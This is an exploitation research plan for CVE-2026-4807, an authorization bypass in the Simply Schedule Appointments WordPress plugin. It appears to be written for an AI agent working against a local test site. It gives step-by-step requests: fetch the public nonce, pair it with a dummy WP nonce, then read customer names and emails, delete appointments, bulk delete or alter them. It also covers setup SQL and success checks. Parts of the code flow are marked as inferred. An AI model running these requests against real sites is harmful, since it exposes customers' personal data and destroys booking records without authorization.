Exploitation Research Plan: CVE-2026-4807 - Simply Schedule Appointments

1. Vulnerability Summary

The Simply Schedule Appointments (SSA) plugin (versions <= 1.6.10.6) contains a critical authorization bypass in its REST API permission handling. The vulnerability exists in the nonce_permissions_check() method (inferred from description).

The core flaw is a logic error: when a request provides both a standard WordPress nonce (X-WP-Nonce) and a specific plugin-defined public nonce (X-PUBLIC-Nonce), the system attempts to validate the standard nonce first. If that validation fails (e.g., if the user is unauthenticated and provides a dummy string), the code falls back to checking the X-PUBLIC-Nonce. However, it fails to perform a secondary check to ensure the operation being performed is actually authorized for a "public" (unauthenticated) context. Since the public_nonce is a site-wide value accessible to any visitor via a specific REST endpoint, an attacker can use it to perform administrative actions like viewing, modifying, or deleting arbitrary appointments.

2. Attack Vector Analysis

• Vulnerable Endpoints:
  • Viewing: GET /wp-json/ssa/v1/appointments/{id}
  • Deletion: DELETE /wp-json/ssa/v1/appointments/{id}/delete
  • Bulk Operations: POST /wp-json/ssa/v1/appointments/bulk
• Nonce Source: GET /wp-json/ssa/v1/embed-inner
• Required Headers:
  • X-WP-Nonce: Any non-empty string (e.g., 12345).
  • X-PUBLIC-Nonce: The valid nonce retrieved from the embed-inner endpoint.
• Authentication: Unauthenticated (None).
• Preconditions: At least one appointment must exist in the system for the exploit to be demonstratable.

3. Code Flow (Inferred)

1. Request Entry: An unauthenticated user sends a request to /wp-json/ssa/v1/appointments/{id}/delete.
2. Permission Callback: The REST route's permission_callback calls nonce_permissions_check().
3. Nonce Validation:
   • The function detects X-WP-Nonce. It calls wp_verify_nonce(), which fails (returns false) because the value is arbitrary.
   • The function then checks for X-PUBLIC-Nonce. It calls a internal verification (likely wp_verify_nonce against a specific SSA action string or a custom check).
   • If X-PUBLIC-Nonce is valid, the function returns true (authorized), erroneously assuming the request is legitimate.
4. Execution: The delete_appointment handler is executed, and the appointment identified by {id} is deleted from the database.

4. Nonce Acquisition Strategy

Unlike most WordPress plugins, the public_nonce is directly exposed via a REST endpoint, making it trivial to retrieve without parsing HTML.

1. Endpoint: /wp-json/ssa/v1/embed-inner
2. Method: GET
3. Extraction: The response is a JSON object. The key is public_nonce.
4. Verification: If the REST API is disabled or restricted, the agent should fall back to creating a page with the [ssa_booking] shortcode and using:
   • browser_navigate("http://localhost:8080/ssa-page")
   • browser_eval("window.SSA_DATA?.public_nonce") (Variable name inferred from typical SSA JS structure).

5. Exploitation Strategy

Step 1: Obtain the Public Nonce

Request the configuration endpoint to get the "master" public nonce.

• Method: GET
• URL: http://localhost:8080/wp-json/ssa/v1/embed-inner
• Expected Response: JSON containing "public_nonce": "abcdef1234".

Step 2: Information Disclosure (Optional but proves impact)

Retrieve sensitive details of a specific appointment (e.g., ID 1).

• Method: GET
• URL: http://localhost:8080/wp-json/ssa/v1/appointments/1
• Headers:
  • X-WP-Nonce: 12345
  • X-PUBLIC-Nonce: [EXTRACTED_NONCE]
• Goal: Extract the customer_email, customer_name, and public_edit_url.

Step 3: Arbitrary Appointment Deletion

Delete an appointment to demonstrate the "Missing Authorization" on destructive actions.

• Method: DELETE (Note: Try POST with _method=DELETE if DELETE is blocked).
• URL: http://localhost:8080/wp-json/ssa/v1/appointments/1/delete
• Headers:
  • X-WP-Nonce: dummy
  • X-PUBLIC-Nonce: [EXTRACTED_NONCE]
• Expected Response: 200 OK or 204 No Content, confirming deletion.

6. Test Data Setup

To verify the exploit, the environment must have SSA active and an appointment created:

1. Install SSA: Ensure simply-schedule-appointments is active.
2. Create Appointment Type:

   wp ssa create-appointment-type --title="Consultation" --slug="consultation"
   ``` (Note: Command is representative; if SSA CLI is unavailable, the agent must use the UI or direct SQL to ensure at least one appointment exists).
   

3. Create Test Appointment: Use the database to inject a mock appointment if booking via UI is too complex:

   INSERT INTO wp_ssa_appointments (id, appointment_type_id, start_date, end_date, customer_name, customer_email, status) 
   VALUES (1, 1, '2025-01-01 10:00:00', '2025-01-01 11:00:00', 'Target Victim', 'victim@example.com', 'confirmed');
   

7. Expected Results

• Nonce Fetch: Returns a 10-character alphanumeric string.
• Information Disclosure: Returns a JSON object with full appointment details that should only be visible to the customer (via their unique URL) or an admin.
• Deletion: The request returns success, and the entry for ID 1 is removed from the wp_ssa_appointments table.

8. Verification Steps

After performing the HTTP requests:

1. Check Database via WP-CLI:

   wp db query "SELECT count(*) FROM wp_ssa_appointments WHERE id = 1"
   

   • Success Result: Count is 0.
2. Confirm REST Response:
   The deletion response should not be a 401 Unauthorized or 403 Forbidden.

9. Alternative Approaches

• Bulk Deletion: If the single ID endpoint is patched, attempt the bulk endpoint:
  • URL: /wp-json/ssa/v1/appointments/bulk
  • Method: POST
  • Payload: {"ids": [1, 2, 3], "action": "delete"}
  • Headers: Use the same dual-nonce headers as above.
• Modification: Attempt to change the appointment time or status:
  • URL: /wp-json/ssa/v1/appointments/1
  • Method: POST (or PATCH)
  • Payload: {"status": "cancelled"} or {"start_date": "2099-01-01 10:00:00"}.